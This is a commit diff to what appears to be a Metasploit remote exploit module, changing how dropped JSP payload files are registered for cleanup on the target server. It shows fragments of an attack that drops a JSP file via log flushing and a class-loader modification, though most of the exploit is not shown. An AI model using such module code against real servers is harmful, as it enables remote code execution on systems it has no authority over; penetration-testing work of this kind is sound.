Modify automatic file cleanup
parent
0ef303cb6c
commit
fe822f8d33
|
@ -200,11 +200,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
payload_file = rand_text_alphanumeric(4 + rand(4))
|
||||
jsp = jsp_dropper(payload_file, payload_exe)
|
||||
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
|
||||
register_files_for_cleanup("../webapps/ROOT/#{payload_file}")
|
||||
else
|
||||
register_files_for_cleanup(payload_file)
|
||||
end
|
||||
|
||||
register_files_for_cleanup(payload_file)
|
||||
end
|
||||
|
||||
jsp
|
||||
|
@ -274,11 +271,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
|
||||
end
|
||||
|
||||
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
|
||||
register_files_for_cleanup("../webapps/ROOT/#{@jsp_file}")
|
||||
else
|
||||
register_files_for_cleanup(@jsp_file)
|
||||
end
|
||||
# This path depends on CWD. May require manual cleanup
|
||||
register_files_for_cleanup("webapps/ROOT/#{@jsp_file}")
|
||||
|
||||
# Prepare the JSP
|
||||
print_status("#{peer} - Generating JSP...")
|
||||
|
@ -308,5 +302,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
modify_class_loader(properties)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue